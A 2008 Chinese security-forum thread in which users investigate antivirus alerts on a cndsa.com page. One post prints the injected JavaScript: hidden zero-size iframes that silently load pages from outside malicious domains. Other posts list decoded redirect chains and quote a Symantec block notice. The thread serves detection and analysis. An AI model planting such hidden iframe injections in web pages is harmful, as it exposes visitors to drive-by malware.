http://www.cndsa.com/zp/list.asp?id=4803

显示全部楼层 · 发表于 2008-11-16 12:13:46

我的小a报了http://www.cndsa.com/zp/list.asp?id=4803中国直销网

HTML:IFrame-BB [Trj]不知是否误报

显示全部楼层 · 发表于 2008-11-16 12:31:27

红伞没有报

显示全部楼层 · 发表于 2008-11-16 12:36:08

KIS2009没反应。

显示全部楼层 · 发表于 2008-11-16 12:40:09

应该不是
Log is generated by FreShow.
[wide]http://www.cndsa.com/zp/list.asp?id=4803
[script]http://www.cndsa.com/zp/images/Get2DateString.js
      [script]http://www.cndsa.com/zp/images/images/Get2DateString.js
         [frame]http://xxx.18dmm.com/newdm/new134.htm
         [frame]http://aaa.369678.cn/buka8.htm
         [frame]http://2.lafan8.com/6.htm
         [frame]http://hack.ls8000.cn/qq.jpg

http://www.cndsa.com/zp/images/images/Get2DateString.js

<iframe src=http://xxx.18dmm.com/newdm/new134.htm width=0 height=0></iframe>
document.write("<iframe src=http://aaa.369678.cn/buka8.htm width=1 height=1></iframe>");
<iframe src=http://2.lafan8.com/6.htm width=100 height=0></iframe>
<iframe src=http://hack.ls8000.cn/qq.jpg width=0 height=0></iframe>

等高手来解，我这第一个挂了，第二个找不到，第三个DNS FAILED，第四个要COOKIES。。。

显示全部楼层 · 发表于 2008-11-16 12:41:20

关于:hxxp://www.cndsa.com/zp/list.asp?id=4803解密的日志(自动模式 - 5):

AUTO>http://www.cndsa.com/zp/list.asp?id=4803
AUTO>http://www.cndsa.com/zp/pic/loogo.gif
AUTO>http://www.cndsa.com/zp/pic/xn.gif
AUTO>http://www.cndsa.com/zp/images/get2datestring.js
AUTO>http://www.cndsa.com/zp/pic/printpage.gif

显示全部楼层 · 发表于 2008-11-16 12:43:29

关于:hxxp://www.cndsa.com/zp/images/get2datestring.js解密的日志(自动模式 - 13):

AUTO>http://www.cndsa.com/zp/images/get2datestring.js
AUTO>http://xxx.18dmm.com/newdm/new134.htm
AUTO>http://aaa.369678.cn/buka8.htm
AUTO>http://2.lafan8.com/6.htm
AUTO>http://hack.ls8000.cn/qq.jpg
AUTO>http://aaa.369678.cn/purchase.php
AUTO>http://searchportal.dnparking.com/?d=523557320734016656660c34562b0e6e0066
AUTO>http://aaa.369678.cn/frame.php
AUTO>http://forsale.dnparking.com/?369678.cn
AUTO>http://stats.dnparking.com/?d=369678.cn
AUTO>http://pop.dnparking.com/pop.htm
AUTO>http://u.1133.cc/showpage.php?pid=78112&show_t=2
AUTO>http://u.1133.cc/showpage.php?pid=77699&show_t=2

显示全部楼层 · 发表于 2008-11-16 12:57:26

直接闯上去qq.jpg也不下来，那就没办法了。

显示全部楼层 · 发表于 2008-11-16 13:19:09

没有发现

显示全部楼层 · 发表于 2008-11-16 14:12:49

趋势企业版发现

显示全部楼层 · 发表于 2008-11-16 14:23:28

Malicious Web Site Blocked

You attempted to access:

http://www.cndsa.com/zp/list.asp?id=4803

This is a known mailicious web site. It is recommended that you do NOT visit this site. The detailed report explains the security risks on this site.

For your protection, this web site has been blocked. Visit Symantec to learn more about phishing and internet security.

[已鉴定] http://www.cndsa.com/zp/list.asp?id=4803